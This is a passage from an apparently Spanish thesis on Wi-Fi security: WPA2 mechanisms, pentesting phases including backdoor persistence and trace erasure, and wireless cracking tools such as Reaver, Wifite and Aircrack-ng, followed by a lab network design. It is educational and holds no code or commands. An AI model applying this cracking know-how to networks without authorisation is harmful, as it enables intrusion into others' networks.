que el contenido recibido sea legitimo y a su vez este intacto [44].

El que emplea el proceso del cifrado es el PN (NUumero de Paquete) y se
comporta como un unico contador para cada paquete que se transmite siendo ese
namero la clave para la creacion del “Nonce” y previene la repeticion de ataques puesto
que cada paquete consta de un Unico identificador, permitiendo asi evitar el uso de
datos que han sido transmitidos previamente con la intencién de usarse para la
suplantacion de mensajes. En funcion del PN y otros elementos se crea el “Nonce”
(Number used Once), esta se la conoce como un unico valor para cada paquete
garantizando que cada seccion de los datos posea una clave exclusiva en el proceso del
cifrado evadiendo los patrones repetitivos que permiten la aparicion de ataques en la
red. La clave temporal (TK), es una clave de sesion generada durante el proceso de
autenticacion WPA2, que se considera exclusiva para cada sesion de comunicacion
entre el cliente y el punto de acceso, la funcion de este elemento es importante para el
cifrado de datos, esta clave asegura el proceso de cifrar y descifrar mensajes durante la
sesion activa, cabe recalcar que solo los dispositivos autorizados pueden realizar este
proceso [44].

Una vez establecidos el Nonce y la TK, el cifrado de datos se lleva a cabo
mediante el AES-CCMP, en esta etapa el texto claro (plaintext), junto a la TK y el
Nonce, se procesa dentro del médulo AES-CCMP, el cual cumple con dos funciones,
la primera es el cifrado de datos, el cual convierte el texto claro en texto de cifrado para
proteger la confidencialidad del mensaje, otra de la funcién que realiza es la generacion
del MIC (Message Integrity Code), el cual es un cédigo de integridad que permite
verificar que el mensaje no ha sido alterado. Finalmente se construye el encabezado
CCMP, que contiene informacién de cifrado relevante, como el Nonce y el PN, que
son necesarios para que el receptor descifre el mensaje correctamente, este encabezado
se aflade al paquete como parte de encriptacion y es fundamental para que el receptor
pueda verificar la autenticidad y el origen de los datos [45].

Dentro de los mecanismos de autenticacion WPA2 (Wi-Fi Protected Access 2),

dos son prominentes, ambos ofrecen diferentes niveles de integridad y son adecuados
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para diferentes tipos de redes; son: Clave compartida (PSK) o clave cerrada y la
asistencia de un servidor de autenticacion centralizado [45].

La clave proporcionada de Antemano — PSK, es el mas util en un entorno
domeéstico promedio 0 en una empresa de pequefia escala. En tales escenarios, el acceso
a la WLAN a través de WPA2-PSK se obtiene al conocer una sola clave; Todos los
dispositivos que pretenden conectarse a la red deben conocer la clave precompartida.
Si bien este enfoque es facil y conveniente de implementar, existen algunas
restricciones de seguridad y escala [45].

Cambiar la contrasefia requiere la gestion de la clave en todos los dispositivos
en caso de que la contrasefia sea cambiada, lo cual no es conveniente ni viable en un
entorno con un gran nimero de dispositivos, de tal manera que la clave compartida se
combina con el nombre de la red (SSID) para crear una "PMK" (Pairwise Master Key),
que es Unica para esa red. Esta PMK, a su vez, se utiliza para generar una serie de claves
temporales y seguras, que se renuevan periddicamente durante la sesion de conexion
[46].

Servidor “RADIUS” Authentication o WPA2-Enterprise

El Servidor de autenticacion, también conocido como WPA2-Enterprise, es la
mejor opcion para las empresas debido a las redes mas grandes y al esfuerzo de
seguridad superior sobre la clave compartida. WPA2-Enterprise se basa en un servidor
de autenticacién centralizado, como RADIUS, el cual autentica a cada usuario por
separado, WPA2-Enterprise no atraviesa claves de seguridad, sino que cada usuario
individual posee sus propias credenciales, que pueden ser su nombre y contrasefia, 0
incluso un certificado digital para permitir acceso individual. Habitualmente, WPA2-
Enterprise junta los protocolos EAP que es el acronimo de Protocolo de Aplicacién,
que soporta multiples métodos de autenticacién, como PEAP, EAP-TLS y EAP-TTLS.
Estos métodos de autenticacion permiten el uso de credenciales seguras y, por supuesto,
certificados digitales, lo que permite a las empresas proteger el sistema de ataques de
suplantacion. Ademas, los administradores pueden revocar el acceso para un usuario

sin afectar a los demas, lo que les permite ajustar las barreras de acceso [46].
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Las principales caracteristicas del WPAZ2 se observan en la figura 7, siendo un
protocolo de seguridad altamente usado en las redes WiFi y ofreciendo una conexion a
la red de calidad, protegida y segura. Entre sus multiples caracteristicas se presenta el
cifrado seguro quien se encarga de proteger los datos transmitidos, WPAZ2 es capaz de
prevenir ataques de tipo “inyeccion”, robusteciendo la red y salvandola de la insercion
maliciosa de paquetes no autorizados en la red, también mejora la integridad y
confidencialidad de los datos mediante el uso del modo de operacion de cifrado CCMP

[46]
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Figura 7: Caracteristicas del WPA2

Fuente: Elaborado por autor.

2.2.5.Fundamentos de pruebas de penetracion para seguridad.
La seguridad de la informacion se ocupa principalmente de garantizar que la

informacidn sea confidencial, fiable y accesible mientras se procesa, almacena y
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transmite. En los complejos entornos de red actuales, la exposicion potencial al riesgo
es cada vez mayor, lo que hace que mantener seguros los sistemas sea un verdadero
desafio. En un momento determinado, una organizacion puede alcanzar su nivel de
seguridad maximo y luego ser completamente vulnerable poco después, después de
cambios en la configuracion de un servidor o después de la instalacion de nuevos
equipos. Ademas, nuevas fallas de seguridad aparecen constantemente en el software
existente, que antes se consideraba seguro [19].

Las pruebas de penetracion son muy utilizadas por las empresas que ofrecen
servicios accesibles desde el exterior, como las que alojan su propia pagina Web o
permiten el acceso remoto a través de una red privada virtual. Esto se debe a que
permiten evaluar si un sitio web especifico puede ser objeto de un ataque y cuan real
es el riesgo. Esas pruebas pueden determinar la cantidad de acceso a recursos
importantes como firewalls, servidores web y bases de datos SQL que podrian tener
intrusos o personas no autorizadas. Desafortunadamente, las estadisticas confirman que
los empleados internos y antiguos empleados externos que trabajan para otra empresa
0 por su cuenta son las principales amenazas a la seguridad [47].

El objetivo principal de las pruebas de penetracion es descubrir fallas de
seguridad, mediante un examen de intrusion también podemos valorar el acatamiento
de una entidad a las politicas de seguridad tanto internas como externas, el grado de
sensibilizacion de sus trabajadores en torno a la seguridad y la eficacia de la
organizacion en la identificacidn y reaccién ante incidentes de seguridad, si hay dudas
sobre la efectividad de los diversos sistemas de seguridad, como los controles de
firewalls, los sistemas de deteccion de intrusiones y la monitorizacion de la integridad
de los archivos, es recomendable realizar una prueba de penetracion completa. Una
prueba de penetracidn, un analisis de vulnerabilidad que busca areas débiles en un
sistema, es una de las técnicas mas comunes para garantizar el nivel de efectividad [48].

Hay diferentes tipos de pruebas, el cual las mas comunes son las siguientes:

Prueba de Caja Negra: durante esta auditoria, el equipo de consultores no
obtiene informacion sobre los activos y sistemas informaticos de la infraestructura de

TI de la organizacion. En este caso, el equipo de consultores solo recibe el nombre de
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la institucidn, por lo que trabaja con informacién que se puede obtener de los medios
publicos. Este tipo de pruebas permite medir el alcance e impacto de un evento real al
simular un ataque de cracker [49].

Prueba de Caja Blanca: este método de auditoria se utiliza cuando el cliente
necesita realizar un analisis de seguridad a profundidad de los sistemas informéticos.
Para lograr esto, el cliente debe proporcionar la mayor cantidad de informacion posible
para que el equipo consultor pueda trabajar directamente sobre los activos que se estan
analizando y reducir el tiempo de las fases previas a la identificacion y explotacién de
las vulnerabilidades. En esta auditoria, el equipo consultor obtiene informacion mas
detallada sobre los activos y servicios de la infraestructura tecnoldgica, como versiones
de los servicios que se ejecutan, listas de sistemas operativos instalados en los
servidores, codigo fuente de aplicaciones, entre otros [50].

Prueba de caja gris: este tipo de auditoria es una mezcla de los tipos anteriores,
en el que el cliente proporciona cierta informacion, pero no toda al equipo de
consultores. Estos elementos incluyen segmentos de red, direcciones IP de servidores
pertenecientes a la infraestructura de Tl y diagramas de topologia de la organizacion.
La clasificacion del tipo de pruebas también se puede hacer en funcion del lugar donde
el equipo de consultores las lleva a cabo [49].

Las pruebas de penetracion externas incluyen: El equipo de consultores lleva a
cabo las pruebas desde cualquier lugar fuera de la infraestructura de TI. Este tipo de
pruebas tienen como objetivo simular el comportamiento de un atacante remoto que
ataca los activos tecnoldgicos de la infraestructura de TI [50].

Las pruebas de penetracion interna tienen como objetivo evaluar el dafio
potencial causado por un atacante que se encuentre dentro de la red interna. Para llevar
a cabo las pruebas internas, el equipo de consultores se ubica en una estacién de trabajo
de la organizacion para evaluar y recibe acceso a la red interna. Se podria modelar un
atacante interno con acceso a la red de usuarios administrativos, la red de servidores de
desarrollo y la red de servidores de produccion, entre otras redes, dependiendo de las

necesidades del cliente y del servicio [49].
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La primera etapa en las pruebas de penetracion es la recoleccion de informacién
0 reconocimiento (footprinting. En esta fase, el objetivo es reunir la mayor cantidad
posible de datos sobre el sistema o sitio objetivo, que se utilizaran en las siguientes
etapas. A menudo, esta es una de las etapas mas largas, ya que implica identificar
nombres y direcciones de correo electronico de los empleados de la empresa,
topologias de red, y direcciones IP, entre otros datos relevantes. Para lograrlo, se
recurre a buscadores como Google, herramientas de analisis de DNS, WHOIS, y una
serie de recursos disponibles en Internet. Cabe mencionar que la cantidad y el tipo de
informacion recopilada dependeran de los objetivos definidos al inicio de la auditoria
[51].

La segunda etapa es la de escaneo, donde se identifican posibles vectores de
ataque usando la informacion obtenida previamente. Durante este proceso, se exploran
puertos y servicios mediante herramientas como Nmap, lo cual permite detectar puntos
de entrada en el sistema. Después del escaneo de puertos, se realiza un analisis de
vulnerabilidades utilizando herramientas avanzadas como Nessus, OpenVAS, Kali
Linux, LanGuard, Nexpose, y Retina, lo que permite definir las mejores opciones de
ataque a partir de los puntos débiles encontrados [52].

En la tercera etapa se encuentra la enumeracion, esta se encarga de obtener
informacion a detalle de los usuarios, como los nombres de sus dispositivos 0 sus
servicios de red, durante este proceso se empiezan a preparar las conexiones y las
consultas activas hacia el sistema facilitando determinar los recursos especificos
internos, este apartado es importante al momento de preparar un perfil més apto del
objetivo y al refinar los métodos de pentesting que se requieren aplicar en etapas
posteriores. [52].

Una vez culminado la etapa anterior, se procede a ejecutar la etapa mas
importante y delicada, esta es la etapa de acceso. En comparacion a un escaneo normal
de vulnerabilidades el cual solo busca identificar los puntos débiles, en esta etapa se
profundiza la exploracién de vulnerabilidades para identificar cuéles son propensas a
ser explotadas exitosamente, las herramientas y métodos que se necesitan seran

unicamente los hallazgos de las anteriores etapas, por consiguiente, cada prueba
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realizada sera exclusiva dependiendo de los servicios vulnerables encontrados en el
sistema [52].

Después de obtener acceso, la siguiente etapa es la de mantenimiento de acceso,
donde se evaltan formas de conservar el acceso al sistema para su posible reutilizacion
futura. Esta etapa implica la instalacion de mecanismos de persistencia, como puertas
traseras o rootkits. Aunque un auditor de seguridad puede no realizar esta fase, es un
paso de interés para un atacante malintencionado que desee mantener el control del
sistema [51].

A continuacidn, se realiza la eliminacion de rastros, una accién clave para los
atacantes que desean ocultar su intrusion. La finalidad es borrar cualquier evidencia de
la infiltracion para evitar ser detectado por los administradores del sistema, ya sea para
regresar al sistema en el futuro o para prevenir consecuencias legales por delitos
informéaticos [52].

2.2.6.Vulnerabilidades de la red inalambrica.

En el mundo actual, la conectividad inaldmbrica se ha convertido en un
componente vital de nuestra vida cotidiana. Las redes de Inalambrica nos permiten
conectarnos a Internet, comunicarnos a distancia y disfrutar de la comodidad de la
movilidad en nuestras actividades digitales. Sin embargo, ademas de los beneficios de
inaldmbrica conectividad, existen importantes desafios de seguridad. Las
vulnerabilidades de la red insegura proporcionan una amenaza persistente a la
confiabilidad, probidad y medios de los datos divulgados a través de estas redes. En
esta introduccidn, veremos las principales vulnerabilidades de las redes inseguras y su
influencia en la seguridad de las comunicaciones. El acceso no autorizado es una de las
vulnerabilidades mas comunes en las redes inseguras. Los atacantes pueden intentar
infiltrarse en una red insegura sin el conocimiento o aprobacion del propietario o
administrador, esto puede conducir a acciones maliciosas como la interceptacion de
datos confidenciales, la falsificacion de identidad, o el uso no autorizado de los recursos
de la red. Los puntos de acceso no seguros, las claves de cifrado defectuosas o la falta
de autenticacion adecuada son algunos de los puntos de entrada que los atacantes

pueden usar para obtener acceso no autorizado [53].
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2.2.7.Metodologia para la deteccion de vulnerabilidades

La prueba de penetracion es una técnica que evalla la seguridad de una red
mediante ataques reales, esta técnica se basa en la identificacion de vulnerabilidades,
en ellas se aplican 3 fases [54]:

e Escaneo de redes wi-fi
e Explotacion de la red wi-fi
e Analisis de vulnerabilidades en dispositivos moviles conectados a red-wifi

Existe una fase preparatoria en la que el hacker emplea diversas técnicas para
investigar y recolectar la informacion necesaria sobre su objetivo antes de lanzar un
ataque, en donde se incluyen dos tipos de reconocimiento [54]:

Reconocimiento Pasivo: Consiste en la obtencion de informacion sin
interactuar directamente con el objetivo, de manera que la institucion o persona
afectada no se percate de ello. Los hackers principalmente se encargan de recolectar
toda la informacion posible que exista en internet de su victima, esto incluye desde
personas comunes hasta grandes empresas que buscan obtener datos importantes [54].

Reconocimiento Activo: Implica la obtencion de informacién por medio de una
interaccidn directamente con el objetivo, como por ejemplo puede explorar la red para
distinguir los hosts o direcciones IP, la diferencia con el reconocimiento pasivo, es que
en el activo es méas propenso a ser detectado porque debe mantener contacto con el

objetivo en cuestion por medio del anélisis de su trafico de red o por llamadas [54].

Beneficios del pentesting

El pentesting tiene como finalidad brindar ayuda a empresas para que estas
puedan identificar las vulnerabilidades que no hayan sido tomadas en consideracion,
es decir que estas en su momento fueron pasadas desapercibidas haciendo vulnerable
la red a los ciberdelincuentes. Estas pruebas de penetracion se realizan para ver qué tan
probable es realizar un ciberataque, a su vez conocer cudles son las vulnerabilidades a
las que esta expuesto considerando en si la clase de riesgo, ademas de esto ayudara a
determinar que vulnerabilidades no son detectadas[55].

2.2.8.Herramientas para escanear la vulnerabilidad (Pentesting)
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Hoy en dia existen muchas herramientas en las cuales son disefiadas para
analizar las redes WI-FI, estas contienen herramientas de hacking y pentesting, cabe
recalcar que los dispositivos que nos brindan para realizar este tipo de analisis crecen
dia a dia, algunas de estas herramientas son:

Metasploit

Esta plataforma ayuda a los equipos de seguridad a detectar y hacer la
respectiva verificacion de las vulnerabilidades, de igual manera en la administracién
de las distintas evaluaciones de seguridad, la misma que ayuda hacer conciencia sobre
la seguridad [56].

Esta herramienta es de codigo abierto, aunque hay que tener en cuenta que su
uso debe ser de manera ética con el permiso del propietario, el objetivo de esa
herramienta es mejorar la seguridad informatica ya que identifica los problemas de las
redes [56].

Una vez que las vulnerabilidades sean identificadas se debe tener en cuenta si
la red permite a que un atacante pueda causar algin dafio, luego de esto se deberia
conocer cual fue el dafio, aunque hay que tener en cuenta que al intentar explotarla
puede que no se hayan considerado ciertas medidas de control, haciendo de esta manera
un poco mas complicado el proceso[55].

Wifite

Wifite o también denominado ataques de diccionario es una herramienta que
ayuda a buscar palabras claves, este usa una lista en donde se generan todas las
contrasefias mas usadas o ya sea que el mismo usuario brinde una lista de las
contrasefias. Un ataque que realiza en la red, la realiza mediante un WPS habilitado y
sefial con alta intensidad[57].

Reaver

Esta herramienta estd disefiada para realizar ataques fuerza extremadamente
altas basadas en cddigos de acceso WPS de 8 digitos, Reaver tool recupera el codigo
de acceso incluyendo WPA y el WPA2, concediendo asi de esta manera todo el acceso
a dichared [57].

Nmap
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Network Mapper (Nmap), es una herramienta de cdodigo abierto disefiada para
el anlisis y escaneo de redes, fue creada en el afio 1997 por Gordon Lyon, también
conocido como Fyodor, es originalmente de Linux, en la actualidad esta plataforma se
destaca por su capacidad de identificar host, servicios y puertos abiertos, ademas ayuda
a detectar vulnerabilidades, versiones de software y sistemas operativos. Esta
herramienta es reconocida por poseer la flexibilidad y eficacia, la cual la convierte en
una opcidn predilecta entre los administradores de red y especialistas en ciberseguridad
[58].

Nmap va mucho mas alld de solo ser un escaner de puertos ya que posee
funciones importantes como la identificacion de host activos, la cual facilita la
deteccidn de dispositivos conectados a una red, lo que es esencial para generar un mapa
de la infraestructura, también permite explorar puertos UDP y TCP, por ende,
determinar si estan abiertos, cerrados o filtrados, lo cual ayuda a detectar posibles
vectores de ataque [58].

Wireshark

Esta herramienta analiza los protocolos para poder asi obtener un analisis
correcto y dar soluciones a las redes, ademés analiza el trafico de la misma permitiendo
asi obtener informacion privada de los usuarios por otro lado, esta plataforma también
se considera como una herramienta educacional. Wireshark es una de las herramientas
poderosas, se la utiliza para el analisis de trafico de la red, en el campo de la seguridad
y administracion inalambrica en la red, es de codigo abierto ya que permite
inspeccionar el trafico de la red en tiempo real, logrando de esta manera obtener un
analisis mas detallado en los paquetes. Esta herramienta es Util para identificar
problemas, detectar vulnerabilidades, realizar analisis forense y validar
configuraciones[59].

Wireshark fue lanzado en el afio 1998 con el nombre Ethereal, fue creado por
Gerald Combs, en el afio 2006 debido a un conflicto de derechos sobre la marca
registrada, se realiz6 un cambio de nombre, paso de Ethereal a Wireshark, desde ese

entonces este software ha seguido evolucionando, afiadiendo compatibilidad con
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nuevos protocolos y mejorando su interfaz para que los usuarios tengan facilidades, las

caracteristicas que posee son:

Permite monitorear y capturar el trafico de la red en tiempo real, por lo cual es
esencial para realizar pruebas o analizar incidentes de seguridad.

Es capaz de interpretar una gran variedad de protocolos de red, desde los mas
basicos como IP y TCP hasta protocolos avanzados como SSL/TLS, VolP y 802.11
para redes inalambricas.

Permite examinar cada detalle de un paquete, desde el encabezado hasta su carga
atil, es por ello que, es fundamental para identificar vulnerabilidades o fallas en el
uso de los protocolos.

Ayuda a reconstruir flujos completos de tréfico, como son las sesiones de
navegacion web o transferencias de archivos, de tal manera se la considera Util para
analizar la integridad de las comunicaciones y a su vez es idoneo para detectar
posibles intercepciones de datos.

Cuando se sospecha ya sea un ataque o0 una intrusion, Wireshark puede utilizarse
para analizar las capturas de trafico y rastrear la actividad de los atacantes,
facilitando de esta manera la identificacién de la vulnerabilidad explotada.

Los datos que son capturados poseen la facilidad de exportarse en varios formatos
como PCAP, CSV o XML, el cual ayuda para realizar un andlisis en otras
herramientas de seguridad o para la creacion de informes detallados.

Posee un sistema de filtrado avanzado, proporcionando a los usuarios de esta
manera aislar los distintos tipos de trafico como: HTTP o HTTPS, ademas se puede
filtrar los paquetes de cifrados como WPA/WPA2 permitiendo de esta manera el

intercambio de claves de autenticacion.

Aircrack-ng
Aircrack-ng es una poderosa suite de herramientas de codigo abierto disefiada

para la auditoria y evaluacién de la seguridad en redes inaldmbricas. Desarrollada

especialmente para pruebas de penetracion, su uso permite identificar y aprovechar

vulnerabilidades en los protocolos de seguridad mas comunes, por ejemplo: WEP,
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WPA y WPAZ2. Este recurso es altamente conocido en el campo de la ciberseguridad,
ademas de ser nativo de Kali Linux, quien es un sistema operativo que se especializa
en el analisis forense de seguridad inalambrica, tiene una facil implementacion en
auditorias profesionales de pruebas.

Para los expertos en la seguridad inalambrica y auditorias, aircrack-ng es
considerada una pieza base para la evaluacion de las redes. Su estructura a nivel de
codigo permite ejecutar acciones avanzadas como la captura de paquetes, descifrado
de claves, creacidn de AP falsos e inyeccidn de trafico en la red, esta herramienta ocupa
un gran espacio en las redes de auditoria, sin embargo, no cualquier persona puede
manejarlo, se necesita de personal calificado que sepa del tema y garantice que todas
las pruebas cumplan con el codigo de ética.

El propdsito de Aircrack es ofrecer una avanzada herramienta que sea accesible
para la realizacion de pruebas de penetracion en las redes. Permite a los especialistas
en ciberseguridad:

e Evaluar la solidez de la configuracion de seguridad de las redes.

e Detectar posibles vulnerabilidades en los mecanismos de cifrado y
autenticacion.

e Determinar el nivel de exposicion de la red frente a ataques de
descifrado y manipulacién de tréfico.

Aircrack-ng es una herramienta que ayuda a obtener los vectores de

inicializacion y handshakes en los protocolos WEP, WPA y WPA2, que ayudan en el
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proceso de autenticacion del entorno a analizar, la misma que se destaca en varias areas

como muestra la figura 8.
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Figura 8: Clasificacion de fases de Aircrack-ng

Fuente: Elaborado por autor.

Supervision: Esta seccidon captura los paquetes y a su vez exporta sus
respectivos datos a los archivos de textos, luego de esto se procede con el
procesamiento a cargo de herramientas de terceros [60].

Ataque: Esto implica ataques de repeticion, la deautenticacion, la creacion de
puntos de accesos errdéneos, ademas se generan otro tipo de ataques mediante la
inyeccion de paquetes.

Pruebas: verifican las capacidades de las tarjetas y controladores WiFi para
capturar e inyectar paquetes.

Craqueo: El proceso de cracking requiere ingresar a las redes WEP y WPA PSK
(WPA 1y 2), de tal forma que para llevar a cabo el proceso de "cracking”, es
imprescindible infiltrarse en los protocolos de seguridad, aircrack-ng posee varias
subherramientas que son esenciales en pruebas de pentesting permitiendo evaluar
vulnerabilidad en una red y permite detectar posibles riesgos en la red, sus principales

funciones se las observa en la tabla 2:
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Airodump-ng Realiza el escaneo de redes y captura vectores de inicio

Aireplay-ng Para elevar la captura de vectores inyecta trafico
) Para poder capturar e inyectar vectores establece la tarjeta
Airmon-ng o )
inalambrica en modo monitor
Tabla 2. Herramientas de auditoria
Fuente: Elaborado por autor.
NetSpot

Es una aplicacion profesional disefiada para supervisar sitios inalambricos,
analizar Wi-Fi y solucionar problemas tanto en Mac OS X como en Windows. ES un
eficaz software de supervision de redes Wi-Fi, disponible gratuitamente con algunas
limitaciones, ademas brinda una solucion profesional que ofrece una interfaz de usuario
accesible, por lo que es una opcion adecuada incluso para usuarios sin experiencia [61].

inSSIDer

Esta potente herramienta proporciona un andlisis exhaustivo de las redes
inaldmbricas, ofreciendo recomendaciones précticas basadas en datos en tiempo real
para ayudarte a seleccionar el canal y la ubicacién 6ptimos para obtener el maximo
rendimiento [62].

Importancia de un buen analisis de vulnerabilidad en redes inalambricas

Hacer un analisis de vulnerabilidades es crucial para proteger cualquier red,
porque te ayuda a encontrar los puntos débiles que los atacantes podrian aprovechar;
este proceso revisa todo, desde la infraestructura visible hasta cada aplicacion,
protocolo y servicio que se usa en la red que, al identificar estas debilidades, puedes
entender claramente donde estas mas expuesto, lo que te permite tomar decisiones
informadas para proteger los activos de tu organizacion.

Este estudio no solo concurre en la administracion de riesgos al categorizar las
amenazas en funcion de su repercusién y la posibilidad de ser aprovechadas, sino que
también posibilita a los equipos de seguridad darles prioridad a las acciones y
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maximizar la utilizacion de recursos para incrementar la proteccion de la red. Ademas
de evitar posibles ataques, este método es preventivo ya que te facilita la
implementacion de medidas de seguridad antes de que los puntos débiles sean.

Es de suma importancia que el andlisis englobe cada parametro del entorno,
esto abarca dispositivos conectados a la red y su hardware o también el software del
sistema y sus aplicaciones, tomando en cuenta estas variables, la institucion puede tener
un panorama mas extenso que le permita mejorar la seguridad y reducir el riesgo de
posibles dafios que pudiesen tener como consecuencia de las vulnerabilidades, un
concepto mas acertado es decir que un analisis de vulnerabilidades de red es una
profesion de suma importancia que fortalece la seguridad en las redes, garantiza una
conexion continua operativa dentro de un entorno inalambrico confiable y seguro al

evitar las pérdidas de informacion [63].
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CAPITULO 11l
3.DESARROLLO DE LA PROPUESTA METODOLOGICA.

El andlisis de la red empresarial se realizO en el laboratorio de
telecomunicaciones, centrado en tres aspectos clave: confiabilidad, disponibilidad y
seguridad. Este estudio se enmarca como una investigacion tecnoldgica aplicada, la
cual involucra la recopilacion de datos y su analisis detallado.

La evaluacion de la fiabilidad de la red en términos de tiempo, se adopta un
enfoque cuantitativo, basado en el disefio y simulacién dentro de un entorno de pruebas
controlado, paralelamente se utiliza un enfoque cualitativo para examinar el grado de
madurez y la seguridad de la informacién en la red.

El andlisis integral busca proporcionar una comprension mas clara y precisa del
estado de una red empresarial bajo ataque, permitiendo asi identificar campos que
tengan margen de mejora, por esta razon los resultados y conclusiones obtenidas,
ademas de facilitar la aplicacion de soluciones efectivas, también buscan que esas
mejoras estén en reglamento con las normativas vigentes a los estandares de la
industria, garantizando una red mucho mas segura.

3.1.1dentificacién de la infraestructura de la red empresarial

Se la conoce como “infraestructura tecnoldgica” a una red empresarial que
admite la interconexion entre maltiples sistemas y dispositivos logrando una féacil
comunicacion, acceder a recursos compartidos y a la transferencia de datos; este tipo
de red es esencial para que los departamentos que convergen en una empresa y sus
empleados puedan mantener una conexion estable, permitiendo la colaboracion y
optimizando la eficacia en sus operaciones.

Las redes empresariales por lo general se encuentran conformadas por varias
LAN, ya que esto enfatiza el control y la gestion del trafico de la red, estableciendo los

protocolos necesarios para brindar seguridad y escalabilidad, facilitando de esta manera
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la gestion y el mantenimiento respectivo de los equipos, en la figura 9 se muestra como
esta distribuido los niveles de una red empresarial.

’ | Nivel de acceso

» Nivel de distribucién

Figura 9: Niveles de una red empresarial

Fuente: Elaborado por autor.

Nivel de Acceso: En este nivel se localizan los dispositivos finales que el
usuario controla, es decir, celulares, computadoras, impresoras camaras de seguridad u
otros equipos sincronizados a la red, esta capa provee la conectividad ya sea
inalambrica o alambrica mediante puntos de acceso o switches con la finalidad de
permitir al usuario ingresar a la red facilmente y a sus multiples servicios. La principal
funcién de este nivel es garantizar una conexion segura y confiable a cada dispositivo.

Nivel de Distribucion: O capa de agregacion, es el encargado de conectar el
nivel de acceso con el nicleo de la red, en donde se encarga de implementar politicas
avanzadas de seguridad y direccionamiento para gestionar el trafico que existe entre
las diferentes VLANS que son creadas en el nivel de acceso, el cual permite una
segregacion légica de la red para distintos departamentos o también considerado como
diferentes tipos de trafico. En esta seccidn se realiza la limitacion y el filtrado multicast,
la redistribucién de rutas entre diferentes protocolos de enrutamiento. Ademas, este
nivel es importante en una red empresarial ya que realiza funciones de alta
disponibilidad y balanceo de carga, garantizando de esta manera que no existan puntos

Unicos de falla y que el trafico de la red en caso de poseer alguna anomalia sea
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redirigido de manera eficiente, asegurando de esa manera una administracion eficiente
y segura de los recursos de la red.

Nivel de Nucleo: También conocido como Core, fue disefiado con
conmutadores de alta capacidad y velocidad garantizando una escala elevada de
confiabilidad y disponibilidad, asi mismo, es indispensable al momento de operar
grandes volimenes de trafico convirtiéndose en la figura central de toda la
infraestructura empresarial y proporcionando un rendimiento 6ptimo.

Este tipo de arquitectura de red permite una gran mejora de eficiencia en sus
operaciones diarias y a su vez avala que esta infraestructura se encuentre apta para
abordar nuevas conexiones, ya sea en oficinas remotas o en usuarios finales,
gestionando el futuro crecimiento de la institucion.

3.2.Disefo del escenario de pruebas y configuracion del entorno.

La red empresarial que se implementara en este proyecto es una red pequefia,

integrada por tres niveles, nivel de nucleo, nivel de distribucion y nivel de acceso. A

continuacion, se muestra en la figura 10 el esquema general de la red empresarial.

SWMARTPHONE-PT
Smartphone2

W/ wmummuof
Whkcessp 2T AccalsPant-PT

W S
- D-Admiistraciin.

7,

&

s,
%
Ul

gy

Laptop-PT % y -
Laptop1 “-. O - f' }
E SWMARTPHONE-PT Laptop-PT
Laptop-PT
Laptop-PT Smartphone3 La?;tl:;B Laptop4

Laptop2

Figura 10: Esquema de la red empresarial

Fuente: Elaborado por autor.
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El disefio de red que muestra la figura 10 es una topologia hibrida, ya que consta
de la topologia estrella junto a la topologia de jerarquia, en donde cada dispositivo se
conecta a un switch de distribucion y este esta enlazado al router principal, ya que actua
como el nacleo central de la red, este disefio permite una gestion del trafico y facilita
la segmentacion de la red en diferentes zonas o departamentos, mejorando de esta
manera el rendimiento como es la escalabilidad de la infraestructura.

Este disefio por implementar proporciona beneficios como la escalabilidad, en
donde la arquitectura facilita la expansion de la red al afiadir switches de distribucion,
de tal manera que esto no genera un impacto significativo al agregar mas switches.

Al tener un core centralizado y switches de distribucién, se deben aplicar
politicas en cuanto al control de trafico como lo son la calidad de servicio, o la
agregacion de tréafico a través de VLANSs. Mediante el uso del protocolo STP (Spanning
Tree Protocol), la topologia planteada es favorecida ya que dicho protocolo evita la
creacion de bucles o fallas de enlace en la red.

Para el disefio de la red se optd por seguir un enfoque influenciado por el
modelo OSI, permitiendo un orden en la estructura dentro de la gestion del flujo de
informacion que pasa por distintas capas y asegurando que no existan inconvenientes
que puedan poner en peligro el rendimiento de la red al evaluar posibles mejoras.
Ademas, se analiz6 el modelo estandar de una red confiable, enfocandose en que la red
fuera segura, confiable y siempre disponible, ademas de garantizar la calidad de
servicio, fue importante priorizar el ancho de banda o la capacidad del canal para
aplicaciones o servicios que fueran criticos o de alta demanda, es por eso que en la

tabla 3 se muestra el direccionamiento de la red.

Router 192.168.23.25
AP1 192.168.200.1
AP2 192.168.100.1

Tabla 3. Direccionamiento de la red



76

Fuente: Elaborado por Autor.

En la figura 11 se muestran la red y la manera en la que se dividio la red
empresarial, desde el punto de vista de la seguridad es conveniente separar los
dispositivos de una red en subredes ya que, si un equipo de la red de la empresa que se
ve comprometido por un atacante éste tendria acceso directo al resto de dispositivos
aumentando de manera considerable el posible impacto del ataque al dividir en
subredes, 1o normal es bloquear por defecto en los accesos entre redes y solo permitir

el acceso a direcciones IP y puertos concretos.

........

e telecomunicaciones.

A

Figura 11: Disefio de la red empresarial en el laboratorio

Fuente: Elaborado por autor

3.3.Software de Andlisis.

El avance tecnologico ha impulsado la creacion de herramientas especializadas
que permiten identificar y mitigar vulnerabilidades en sistemas y redes informaticas,
es por ello que, los softwares de analisis juegan un papel fundamental en la proteccion
de los entornos digitales, ya que ofrecen capacidades para detectar fallas y garantizar
la seguridad de los sistemas. El uso de estos programas se centra en pruebas de

pentesting y en auditorias de seguridad facilitando las herramientas necesarias a los
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especialistas en materia para evaluar riesgos potenciales y anticipar ataques dentro del
entorno de red.

La composicion de un software de andlisis abarca la recopilacion,
procesamiento y evaluacion de informacion que se relaciona con la seguridad
informatica, conteniendo soluciones tecnoldgicas, su objetivo principal es encontrar
aberturas en los sistemas de seguridad, ya sea en configuraciones incorrectas o fallas
dentro de la infraestructura que pueden ser potencialmente vulnerados y explotados;
otra aplicacion que tienen este tipo de herramientas es de monitorear las redes de
manera continua verificando la eficiencia de los sistemas o medidas de proteccion
efectuadas y respondiendo a incidentes correspondientes a la seguridad inalambrica.

La capacidad de automatizar tareas complicadas es una de las caracteristicas
que posee este software permitiendo ejecutar auditorias de red a profundidad con un
menor tiempo empleado y una mayor precision en resultados, también incluyen en
algunos casos un sistema de visualizacion y generacion de reporte de analisis,
presentando de forma clara los resultados y optimizando el tiempo al tomar decisiones
correctivas. Su adaptabilidad a diferentes entornos ya sea en sistemas locales o redes
corporativas, los convierte en herramientas indispensables para profesionales de la
seguridad informatica.

En el ambito de las auditorias de seguridad, una de las soluciones mas
reconocidas Yy utilizadas es el sistema operativo kali linux, un software especializado
que se detalla a continuacion.

3.3.1.Sistema Operativo “Kali Linux”

Con el aumento de los ciberataques en la actualidad, es concluyente para los
profesionales en ciberseguridad contar con herramientas especiales para salvaguardar
